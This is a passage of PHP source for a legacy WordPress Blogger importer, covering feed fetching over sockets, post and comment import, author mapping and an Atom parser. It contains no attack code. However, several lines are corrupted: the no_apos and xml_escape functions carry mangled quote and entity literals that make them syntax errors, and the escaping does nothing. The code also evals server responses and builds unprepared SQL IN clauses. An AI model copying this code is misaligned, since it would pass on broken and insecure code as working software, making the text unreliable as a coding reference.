blog($i,'$blogtitle','{$blog['mode']}'," . $this->get_js_status($i) . ');'; $pstat = "<div class='ind' id='pind$i'> </div><div id='pstat$i' class='stat'>$pdone/{$blog['total_posts']}</div>"; $cstat = "<div class='ind' id='cind$i'> </div><div id='cstat$i' class='stat'>$cdone/{$blog['total_comments']}</div>"; $rows .= "<tr id='blog$i'><td class='blogtitle'>$blogtitle</td><td class='bloghost'>{$blog['host']}</td><td class='bar'>$pstat</td><td class='bar'>$cstat</td><td class='submit'><input type='submit' class='button' id='submit$i' value='$value' /><input type='hidden' name='blog' value='$i' /></td></tr>\n"; } echo "<div class='wrap'><h2>$title</h2><noscript>$noscript</noscript><table cellpadding='5px'><thead><tr><td>$name</td><td>$url</td><td>$posts</td><td>$comments</td><td>$action</td></tr></thead>\n$rows</table></div>"; echo " <script type='text/javascript'> /* <![CDATA[ */ var strings = {cont:'$continue',stop:'$stop',stopping:'$stopping',authors:'$authors',nothing:'$nothing'}; var blogs = {}; function blog(i, title, mode, status){ this.blog = i; this.mode = mode; this.title = title; this.status = status; this.button = document.getElementById('submit'+this.blog); }; blog.prototype = { start: function() { this.cont = true; this.kick(); this.check(); }, kick: function() { ++this.kicks; var i = this.blog; jQuery.post('admin.php?import=blogger&noheader=true',{blog:this.blog},function(text,result){blogs[i].kickd(text,result)}); }, check: function() { ++this.checks; var i = this.blog; jQuery.post('admin.php?import=blogger&noheader=true&status=true',{blog:this.blog},function(text,result){blogs[i].checkd(text,result)}); }, kickd: function(text, result) { if ( result == 'error' ) { // TODO: exception handling if ( this.cont ) setTimeout('blogs['+this.blog+'].kick()', 1000); } else { if ( text == 'done' ) { this.stop(); this.done(); } else if ( text == 'nothing' ) { this.stop(); this.nothing(); } else if ( text == 'continue' ) { this.kick(); } else if ( this.mode = 'stopped' ) jQuery(this.button).attr('value', strings.cont); } --this.kicks; }, checkd: function(text, result) { if ( result == 'error' ) { // TODO: exception handling } else { eval('this.status='+text); jQuery('#pstat'+this.blog).empty().append(this.status.p1+'/'+this.status.p2); jQuery('#cstat'+this.blog).empty().append(this.status.c1+'/'+this.status.c2); this.update(); if ( this.cont || this.kicks > 0 ) setTimeout('blogs['+this.blog+'].check()', $interval); } --this.checks; }, update: function() { jQuery('#pind'+this.blog).width(((this.status.p1>0&&this.status.p2>0)?(this.status.p1/this.status.p2*jQuery('#pind'+this.blog).parent().width()):1)+'px'); jQuery('#cind'+this.blog).width(((this.status.c1>0&&this.status.c2>0)?(this.status.c1/this.status.c2*jQuery('#cind'+this.blog).parent().width()):1)+'px'); }, stop: function() { this.cont = false; }, done: function() { this.mode = 'authors'; jQuery(this.button).attr('value', strings.authors); }, nothing: function() { this.mode = 'nothing'; jQuery(this.button).remove(); alert(strings.nothing); }, getauthors: function() { if ( jQuery('div.wrap').length > 1 ) jQuery('div.wrap').gt(0).remove(); jQuery('div.wrap').empty().append('<h2>$authhead</h2><h3>' + this.title + '</h3>'); jQuery('div.wrap').append('<p id=\"auth\">$loadauth</p>'); jQuery('p#auth').load('index.php?import=blogger&noheader=true&authors=1',{blog:this.blog}); }, init: function() { this.update(); var i = this.blog; jQuery(this.button).bind('click', function(){return blogs[i].click();}); this.kicks = 0; this.checks = 0; }, click: function() { if ( this.mode == 'init' || this.mode == 'stopped' || this.mode == 'posts' || this.mode == 'comments' ) { this.mode = 'started'; this.start(); jQuery(this.button).attr('value', strings.stop); } else if ( this.mode == 'started' ) { return false; // let it run... this.mode = 'stopped'; this.stop(); if ( this.checks > 0 || this.kicks > 0 ) { this.mode = 'stopping'; jQuery(this.button).attr('value', strings.stopping); } else { jQuery(this.button).attr('value', strings.cont); } } else if ( this.mode == 'authors' ) { document.location = 'index.php?import=blogger&authors=1&blog='+this.blog; //this.mode = 'authors2'; //this.getauthors(); } return false; } }; $init jQuery.each(blogs, function(i, me){me.init();}); /* ]]> */ </script>\n"; } // Handy function for stopping the script after a number of seconds. function have_time() { global $importer_started; if ( time() - $importer_started > MAX_EXECUTION_TIME ) die('continue'); return true; } function get_total_results($type, $host) { $headers = array( "GET /feeds/$type/default?max-results=1&start-index=2 HTTP/1.0", "Host: $host", "Authorization: AuthSub token=\"$this->token\"" ); $request = join( "\r\n", $headers ) . "\r\n\r\n"; $sock = $this->_get_blogger_sock( $host ); if ( ! $sock ) return; $response = $this->_txrx( $sock, $request ); $response = $this->parse_response( $response ); $parser = xml_parser_create(); xml_parse_into_struct($parser, $response['body'], $struct, $index); xml_parser_free($parser); $total_results = $struct[$index['OPENSEARCH:TOTALRESULTS'][0]]['value']; return (int) $total_results; } function import_blog($blogID) { global $importing_blog; $importing_blog = $blogID; if ( isset($_GET['authors']) ) return print($this->get_author_form()); header('Content-Type: text/plain'); if ( isset($_GET['status']) ) die($this->get_js_status()); if ( isset($_GET['saveauthors']) ) die($this->save_authors()); $blog = $this->blogs[$blogID]; $total_results = $this->get_total_results('posts', $blog['host']); $this->blogs[$importing_blog]['total_posts'] = $total_results; $start_index = $total_results - MAX_RESULTS + 1; if ( isset( $this->blogs[$importing_blog]['posts_start_index'] ) ) $start_index = (int) $this->blogs[$importing_blog]['posts_start_index']; elseif ( $total_results > MAX_RESULTS ) $start_index = $total_results - MAX_RESULTS + 1; else $start_index = 1; // This will be positive until we have finished importing posts if ( $start_index > 0 ) { // Grab all the posts $this->blogs[$importing_blog]['mode'] = 'posts'; $query = "start-index=$start_index&max-results=" . MAX_RESULTS; do { $index = $struct = $entries = array(); $headers = array( "GET /feeds/posts/default?$query HTTP/1.0", "Host: {$blog['host']}", "Authorization: AuthSub token=\"$this->token\"" ); $request = join( "\r\n", $headers ) . "\r\n\r\n"; $sock = $this->_get_blogger_sock( $blog['host'] ); if ( ! $sock ) return; // TODO: Error handling $response = $this->_txrx( $sock, $request ); $response = $this->parse_response( $response ); // Extract the entries and send for insertion preg_match_all( '/<entry[^>]*>.*?<\/entry>/s', $response['body'], $matches ); if ( count( $matches[0] ) ) { $entries = array_reverse($matches[0]); foreach ( $entries as $entry ) { $entry = "<feed>$entry</feed>"; $AtomParser = new AtomParser(); $AtomParser->parse( $entry ); $result = $this->import_post($AtomParser->entry); if ( is_wp_error( $result ) ) return $result; unset($AtomParser); } } else break; // Get the 'previous' query string which we'll use on the next iteration $query = ''; $links = preg_match_all('/<link([^>]*)>/', $response['body'], $matches); if ( count( $matches[1] ) ) foreach ( $matches[1] as $match ) if ( preg_match('/rel=.previous./', $match) ) $query = html_entity_decode( preg_replace('/^.*href=[\'"].*\?(.+)[\'"].*$/', '$1', $match) ); if ( $query ) { parse_str($query, $q); $this->blogs[$importing_blog]['posts_start_index'] = (int) $q['start-index']; } else $this->blogs[$importing_blog]['posts_start_index'] = 0; $this->save_vars(); } while ( !empty( $query ) && $this->have_time() ); } $total_results = $this->get_total_results( 'comments', $blog['host'] ); $this->blogs[$importing_blog]['total_comments'] = $total_results; if ( isset( $this->blogs[$importing_blog]['comments_start_index'] ) ) $start_index = (int) $this->blogs[$importing_blog]['comments_start_index']; elseif ( $total_results > MAX_RESULTS ) $start_index = $total_results - MAX_RESULTS + 1; else $start_index = 1; if ( $start_index > 0 ) { // Grab all the comments $this->blogs[$importing_blog]['mode'] = 'comments'; $query = "start-index=$start_index&max-results=" . MAX_RESULTS; do { $index = $struct = $entries = array(); $headers = array( "GET /feeds/comments/default?$query HTTP/1.0", "Host: {$blog['host']}", "Authorization: AuthSub token=\"$this->token\"" ); $request = join( "\r\n", $headers ) . "\r\n\r\n"; $sock = $this->_get_blogger_sock( $blog['host'] ); if ( ! $sock ) return; // TODO: Error handling $response = $this->_txrx( $sock, $request ); $response = $this->parse_response( $response ); // Extract the comments and send for insertion preg_match_all( '/<entry[^>]*>.*?<\/entry>/s', $response['body'], $matches ); if ( count( $matches[0] ) ) { $entries = array_reverse( $matches[0] ); foreach ( $entries as $entry ) { $entry = "<feed>$entry</feed>"; $AtomParser = new AtomParser(); $AtomParser->parse( $entry ); $this->import_comment($AtomParser->entry); unset($AtomParser); } } // Get the 'previous' query string which we'll use on the next iteration $query = ''; $links = preg_match_all('/<link([^>]*)>/', $response['body'], $matches); if ( count( $matches[1] ) ) foreach ( $matches[1] as $match ) if ( preg_match('/rel=.previous./', $match) ) $query = html_entity_decode( preg_replace('/^.*href=[\'"].*\?(.+)[\'"].*$/', '$1', $match) ); parse_str($query, $q); $this->blogs[$importing_blog]['comments_start_index'] = (int) $q['start-index']; $this->save_vars(); } while ( !empty( $query ) && $this->have_time() ); } $this->blogs[$importing_blog]['mode'] = 'authors'; $this->save_vars(); if ( !$this->blogs[$importing_blog]['posts_done'] && !$this->blogs[$importing_blog]['comments_done'] ) die('nothing'); do_action('import_done', 'blogger'); die('done'); } function convert_date( $date ) { preg_match('#([0-9]{4})-([0-9]{2})-([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(?:\.[0-9]+)?(Z|[\+|\-][0-9]{2,4}){0,1}#', $date, $date_bits); $offset = iso8601_timezone_to_offset( $date_bits[7] ); $timestamp = gmmktime($date_bits[4], $date_bits[5], $date_bits[6], $date_bits[2], $date_bits[3], $date_bits[1]); $timestamp -= $offset; // Convert from Blogger local time to GMT $timestamp += get_option('gmt_offset') * 3600; // Convert from GMT to WP local time return gmdate('Y-m-d H:i:s', $timestamp); } function no_apos( $string ) { return str_replace( ''', "'", $string); } function min_whitespace( $string ) { return preg_replace( '|\s+|', ' ', $string ); } function import_post( $entry ) { global $importing_blog; // The old permalink is all Blogger gives us to link comments to their posts. if ( isset( $entry->draft ) ) $rel = 'self'; else $rel = 'alternate'; foreach ( $entry->links as $link ) { if ( $link['rel'] == $rel ) { $parts = parse_url( $link['href'] ); $entry->old_permalink = $parts['path']; break; } } $post_date = $this->convert_date( $entry->published ); $post_content = trim( addslashes( $this->no_apos( html_entity_decode( $entry->content ) ) ) ); $post_title = trim( addslashes( $this->no_apos( $this->min_whitespace( $entry->title ) ) ) ); $post_status = isset( $entry->draft ) ? 'draft' : 'publish'; // Clean up content $post_content = preg_replace_callback('|<(/?[A-Z]+)|', create_function('$match', 'return "<" . strtolower($match[1]);'), $post_content); $post_content = str_replace('<br>', '<br />', $post_content); $post_content = str_replace('<hr>', '<hr />', $post_content); // Checks for duplicates if ( isset( $this->blogs[$importing_blog]['posts'][$entry->old_permalink] ) ) { ++$this->blogs[$importing_blog]['posts_skipped']; } elseif ( $post_id = post_exists( $post_title, $post_content, $post_date ) ) { $this->blogs[$importing_blog]['posts'][$entry->old_permalink] = $post_id; ++$this->blogs[$importing_blog]['posts_skipped']; } else { $post = compact('post_date', 'post_content', 'post_title', 'post_status'); $post_id = wp_insert_post($post); if ( is_wp_error( $post_id ) ) return $post_id; wp_create_categories( array_map( 'addslashes', $entry->categories ), $post_id ); $author = $this->no_apos( strip_tags( $entry->author ) ); add_post_meta( $post_id, 'blogger_blog', $this->blogs[$importing_blog]['host'], true ); add_post_meta( $post_id, 'blogger_author', $author, true ); add_post_meta( $post_id, 'blogger_permalink', $entry->old_permalink, true ); $this->blogs[$importing_blog]['posts'][$entry->old_permalink] = $post_id; ++$this->blogs[$importing_blog]['posts_done']; } $this->save_vars(); return; } function import_comment( $entry ) { global $importing_blog; // Drop the #fragment and we have the comment's old post permalink. foreach ( $entry->links as $link ) { if ( $link['rel'] == 'alternate' ) { $parts = parse_url( $link['href'] ); $entry->old_permalink = $parts['fragment']; $entry->old_post_permalink = $parts['path']; break; } } $comment_post_ID = (int) $this->blogs[$importing_blog]['posts'][$entry->old_post_permalink]; preg_match('#<name>(.+?)</name>.*(?:\<uri>(.+?)</uri>)?#', $entry->author, $matches); $comment_author = addslashes( $this->no_apos( strip_tags( (string) $matches[1] ) ) ); $comment_author_url = addslashes( $this->no_apos( strip_tags( (string) $matches[2] ) ) ); $comment_date = $this->convert_date( $entry->updated ); $comment_content = addslashes( $this->no_apos( html_entity_decode( $entry->content ) ) ); // Clean up content $comment_content = preg_replace_callback('|<(/?[A-Z]+)|', create_function('$match', 'return "<" . strtolower($match[1]);'), $comment_content); $comment_content = str_replace('<br>', '<br />', $comment_content); $comment_content = str_replace('<hr>', '<hr />', $comment_content); // Checks for duplicates if ( isset( $this->blogs[$importing_blog]['comments'][$entry->old_permalink] ) || comment_exists( $comment_author, $comment_date ) ) { ++$this->blogs[$importing_blog]['comments_skipped']; } else { $comment = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_date', 'comment_content'); $comment_id = wp_insert_comment($comment); $this->blogs[$importing_blog]['comments'][$entry->old_permalink] = $comment_id; ++$this->blogs[$importing_blog]['comments_done']; } $this->save_vars(); } function get_js_status($blog = false) { global $importing_blog; if ( $blog === false ) $blog = $this->blogs[$importing_blog]; else $blog = $this->blogs[$blog]; $p1 = isset( $blog['posts_done'] ) ? (int) $blog['posts_done'] : 0; $p2 = isset( $blog['total_posts'] ) ? (int) $blog['total_posts'] : 0; $c1 = isset( $blog['comments_done'] ) ? (int) $blog['comments_done'] : 0; $c2 = isset( $blog['total_comments'] ) ? (int) $blog['total_comments'] : 0; return "{p1:$p1,p2:$p2,c1:$c1,c2:$c2}"; } function get_author_form($blog = false) { global $importing_blog, $wpdb, $current_user; if ( $blog === false ) $blog = & $this->blogs[$importing_blog]; else $blog = & $this->blogs[$blog]; if ( !isset( $blog['authors'] ) ) { $post_ids = array_values($blog['posts']); $authors = (array) $wpdb->get_col("SELECT DISTINCT meta_value FROM $wpdb->postmeta WHERE meta_key = 'blogger_author' AND post_id IN (" . join( ',', $post_ids ) . ")"); $blog['authors'] = array_map(null, $authors, array_fill(0, count($authors), $current_user->ID)); $this->save_vars(); } $directions = __('All posts were imported with the current user as author. Use this form to move each Blogger user\'s posts to a different WordPress user. You may <a href="users.php">add users</a> and then return to this page and complete the user mapping. This form may be used as many times as you like until you activate the "Restart" function below.'); $heading = __('Author mapping'); $blogtitle = "{$blog['title']} ({$blog['host']})"; $mapthis = __('Blogger username'); $tothis = __('WordPress login'); $submit = js_escape( __('Save Changes') ); foreach ( $blog['authors'] as $i => $author ) $rows .= "<tr><td><label for='authors[$i]'>{$author[0]}</label></td><td><select name='authors[$i]' id='authors[$i]'>" . $this->get_user_options($author[1]) . "</select></td></tr>"; return "<div class='wrap'><h2>$heading</h2><h3>$blogtitle</h3><p>$directions</p><form action='index.php?import=blogger&noheader=true&saveauthors=1' method='post'><input type='hidden' name='blog' value='$importing_blog' /><table cellpadding='5'><thead><td>$mapthis</td><td>$tothis</td></thead>$rows<tr><td></td><td class='submit'><input type='submit' class='button authorsubmit' value='$submit' /></td></tr></table></form></div>"; } function get_user_options($current) { global $importer_users; if ( ! isset( $importer_users ) ) $importer_users = (array) get_users_of_blog(); foreach ( $importer_users as $user ) { $sel = ( $user->user_id == $current ) ? " selected='selected'" : ''; $options .= "<option value='$user->user_id'$sel>$user->display_name</option>"; } return $options; } function save_authors() { global $importing_blog, $wpdb; $authors = (array) $_POST['authors']; $host = $this->blogs[$importing_blog]['host']; // Get an array of posts => authors $post_ids = (array) $wpdb->get_col( $wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = 'blogger_blog' AND meta_value = %s", $host) ); $post_ids = join( ',', $post_ids ); $results = (array) $wpdb->get_results("SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = 'blogger_author' AND post_id IN ($post_ids)"); foreach ( $results as $row ) $authors_posts[$row->post_id] = $row->meta_value; foreach ( $authors as $author => $user_id ) { $user_id = (int) $user_id; // Skip authors that haven't been changed if ( $user_id == $this->blogs[$importing_blog]['authors'][$author][1] ) continue; // Get a list of the selected author's posts $post_ids = (array) array_keys( $authors_posts, $this->blogs[$importing_blog]['authors'][$author][0] ); $post_ids = join( ',', $post_ids); $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_author = %d WHERE id IN ($post_ids)", $user_id) ); $this->blogs[$importing_blog]['authors'][$author][1] = $user_id; } $this->save_vars(); wp_redirect('edit.php'); } function _get_auth_sock() { // Connect to https://www.google.com if ( !$sock = @ fsockopen('ssl://www.google.com', 443, $errno, $errstr) ) { $this->uh_oh( __('Could not connect to https://www.google.com'), __('There was a problem opening a secure connection to Google. This is what went wrong:'), "$errstr ($errno)" ); return false; } return $sock; } function _get_blogger_sock($host = 'www2.blogger.com') { if ( !$sock = @ fsockopen($host, 80, $errno, $errstr) ) { $this->uh_oh( sprintf( __('Could not connect to %s'), $host ), __('There was a problem opening a connection to Blogger. This is what went wrong:'), "$errstr ($errno)" ); return false; } return $sock; } function _txrx( $sock, $request ) { fwrite( $sock, $request ); while ( ! feof( $sock ) ) $response .= @ fread ( $sock, 8192 ); fclose( $sock ); return $response; } function revoke($token) { $headers = array( "GET /accounts/AuthSubRevokeToken HTTP/1.0", "Authorization: AuthSub token=\"$token\"" ); $request = join( "\r\n", $headers ) . "\r\n\r\n"; $sock = $this->_get_auth_sock( ); if ( ! $sock ) return false; $this->_txrx( $sock, $request ); } function restart() { global $wpdb; $options = get_option( 'blogger_importer' ); if ( isset( $options['token'] ) ) $this->revoke( $options['token'] ); delete_option('blogger_importer'); $wpdb->query("DELETE FROM $wpdb->postmeta WHERE meta_key = 'blogger_author'"); wp_redirect('?import=blogger'); } // Returns associative array of code, header, cookies, body. Based on code from php.net. function parse_response($this_response) { // Split response into header and body sections list($response_headers, $response_body) = explode("\r\n\r\n", $this_response, 2); $response_header_lines = explode("\r\n", $response_headers); // First line of headers is the HTTP response code $http_response_line = array_shift($response_header_lines); if(preg_match('@^HTTP/[0-9]\.[0-9] ([0-9]{3})@',$http_response_line, $matches)) { $response_code = $matches[1]; } // put the rest of the headers in an array $response_header_array = array(); foreach($response_header_lines as $header_line) { list($header,$value) = explode(': ', $header_line, 2); $response_header_array[$header] .= $value."\n"; } $cookie_array = array(); $cookies = explode("\n", $response_header_array["Set-Cookie"]); foreach($cookies as $this_cookie) { array_push($cookie_array, "Cookie: ".$this_cookie); } return array("code" => $response_code, "header" => $response_header_array, "cookies" => $cookie_array, "body" => $response_body); } // Step 9: Congratulate the user function congrats() { $blog = (int) $_GET['blog']; echo '<h1>'.__('Congratulations!').'</h1><p>'.__('Now that you have imported your Blogger blog into WordPress, what are you going to do? Here are some suggestions:').'</p><ul><li>'.__('That was hard work! Take a break.').'</li>'; if ( count($this->import['blogs']) > 1 ) echo '<li>'.__('In case you haven\'t done it already, you can import the posts from your other blogs:'). $this->show_blogs() . '</li>'; if ( $n = count($this->import['blogs'][$blog]['newusers']) ) echo '<li>'.sprintf(__('Go to <a href="%s" target="%s">Authors & Users</a>, where you can modify the new user(s) or delete them. If you want to make all of the imported posts yours, you will be given that option when you delete the new authors.'), 'users.php', '_parent').'</li>'; echo '<li>'.__('For security, click the link below to reset this importer.').'</li>'; echo '</ul>'; } // Figures out what to do, then does it. function start() { if ( isset($_POST['restart']) ) $this->restart(); $options = get_option('blogger_importer'); if ( is_array($options) ) foreach ( $options as $key => $value ) $this->$key = $value; if ( isset( $_REQUEST['blog'] ) ) { $blog = is_array($_REQUEST['blog']) ? array_shift( $keys = array_keys( $_REQUEST['blog'] ) ) : $_REQUEST['blog']; $blog = (int) $blog; $result = $this->import_blog( $blog ); if ( is_wp_error( $result ) ) echo $result->get_error_message(); } elseif ( isset($_GET['token']) ) $this->auth(); elseif ( isset($this->token) && $this->token_is_valid() ) $this->show_blogs(); else $this->greet(); $saved = $this->save_vars(); if ( $saved && !isset($_GET['noheader']) ) { $restart = __('Restart'); $message = __('We have saved some information about your Blogger account in your WordPress database. Clearing this information will allow you to start over. Restarting will not affect any posts you have already imported. If you attempt to re-import a blog, duplicate posts and comments will be skipped.'); $submit = __('Clear account information'); echo "<div class='wrap'><h2>$restart</h2><p>$message</p><form method='post' action='?import=blogger&noheader=true'><p class='submit' style='text-align:left;'><input type='submit' class='button' value='$submit' name='restart' /></p></form></div>"; } } function save_vars() { $vars = get_object_vars($this); update_option( 'blogger_importer', $vars ); return !empty($vars); } function admin_head() { ?> <style type="text/css"> td { text-align: center; line-height: 2em;} thead td { font-weight: bold; } .bar { width: 200px; text-align: left; line-height: 2em; padding: 0px; } .ind { position: absolute; background-color: #83B4D8; width: 1px; z-index: 9; } .stat { z-index: 10; position: relative; text-align: center; } </style> <?php } function Blogger_Import() { global $importer_started; $importer_started = time(); if ( isset( $_GET['import'] ) && $_GET['import'] == 'blogger' ) { wp_enqueue_script('jquery'); add_action('admin_head', array(&$this, 'admin_head')); } } } $blogger_import = new Blogger_Import(); register_importer('blogger', __('Blogger'), __('Import posts, comments, and users from a Blogger blog.'), array ($blogger_import, 'start')); class AtomEntry { var $links = array(); var $categories = array(); } class AtomParser { var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights'); var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft','author'); var $depth = 0; var $indent = 2; var $in_content; var $ns_contexts = array(); var $ns_decls = array(); var $is_xhtml = false; var $skipped_div = false; var $entry; function AtomParser() { $this->entry = new AtomEntry(); $this->map_attrs_func = create_function('$k,$v', 'return "$k=\"$v\"";'); $this->map_xmlns_func = create_function('$p,$n', '$xd = "xmlns"; if(strlen($n[0])>0) $xd .= ":{$n[0]}"; return "{$xd}=\"{$n[1]}\"";'); } function parse($xml) { global $app_logging; array_unshift($this->ns_contexts, array()); $parser = xml_parser_create_ns(); xml_set_object($parser, $this); xml_set_element_handler($parser, "start_element", "end_element"); xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0); xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0); xml_set_character_data_handler($parser, "cdata"); xml_set_default_handler($parser, "_default"); xml_set_start_namespace_decl_handler($parser, "start_ns"); xml_set_end_namespace_decl_handler($parser, "end_ns"); $contents = ""; xml_parse($parser, $xml); xml_parser_free($parser); return true; } function start_element($parser, $name, $attrs) { $tag = array_pop(split(":", $name)); array_unshift($this->ns_contexts, $this->ns_decls); $this->depth++; if(!empty($this->in_content)) { $attrs_prefix = array(); // resolve prefixes for attributes foreach($attrs as $key => $value) { $attrs_prefix[$this->ns_to_prefix($key)] = $this->xml_escape($value); } $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix))); if(strlen($attrs_str) > 0) { $attrs_str = " " . $attrs_str; } $xmlns_str = join(' ', array_map($this->map_xmlns_func, array_keys($this->ns_contexts[0]), array_values($this->ns_contexts[0]))); if(strlen($xmlns_str) > 0) { $xmlns_str = " " . $xmlns_str; } // handle self-closing tags (case: a new child found right-away, no text node) if(count($this->in_content) == 2) { array_push($this->in_content, ">"); } array_push($this->in_content, "<". $this->ns_to_prefix($name) ."{$xmlns_str}{$attrs_str}"); } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) { $this->in_content = array(); $this->is_xhtml = $attrs['type'] == 'xhtml'; array_push($this->in_content, array($tag,$this->depth)); } else if($tag == 'link') { array_push($this->entry->links, $attrs); } else if($tag == 'category') { array_push($this->entry->categories, $attrs['term']); } $this->ns_decls = array(); } function end_element($parser, $name) { $tag = array_pop(split(":", $name)); if(!empty($this->in_content)) { if($this->in_content[0][0] == $tag && $this->in_content[0][1] == $this->depth) { array_shift($this->in_content); if($this->is_xhtml) { $this->in_content = array_slice($this->in_content, 2, count($this->in_content)-3); } $this->entry->$tag = join('',$this->in_content); $this->in_content = array(); } else { $endtag = $this->ns_to_prefix($name); if (strpos($this->in_content[count($this->in_content)-1], '<' . $endtag) !== false) { array_push($this->in_content, "/>"); } else { array_push($this->in_content, "</$endtag>"); } } } array_shift($this->ns_contexts); #print str_repeat(" ", $this->depth * $this->indent) . "end_element('$name')" ."\n"; $this->depth--; } function start_ns($parser, $prefix, $uri) { #print str_repeat(" ", $this->depth * $this->indent) . "starting: " . $prefix . ":" . $uri . "\n"; array_push($this->ns_decls, array($prefix,$uri)); } function end_ns($parser, $prefix) { #print str_repeat(" ", $this->depth * $this->indent) . "ending: #" . $prefix . "#\n"; } function cdata($parser, $data) { #print str_repeat(" ", $this->depth * $this->indent) . "data: #" . $data . "#\n"; if(!empty($this->in_content)) { // handle self-closing tags (case: text node found, need to close element started) if (strpos($this->in_content[count($this->in_content)-1], '<') !== false) { array_push($this->in_content, ">"); } array_push($this->in_content, $this->xml_escape($data)); } } function _default($parser, $data) { # when does this gets called? } function ns_to_prefix($qname) { $components = split(":", $qname); $name = array_pop($components); if(!empty($components)) { $ns = join(":",$components); foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if($mapping[1] == $ns && strlen($mapping[0]) > 0) { return "$mapping[0]:$name"; } } } } return $name; } function xml_escape($string) { return str_replace(array('&','"',"'",'<','>'), array('&','"',''','<','>'), $string ); } } ?>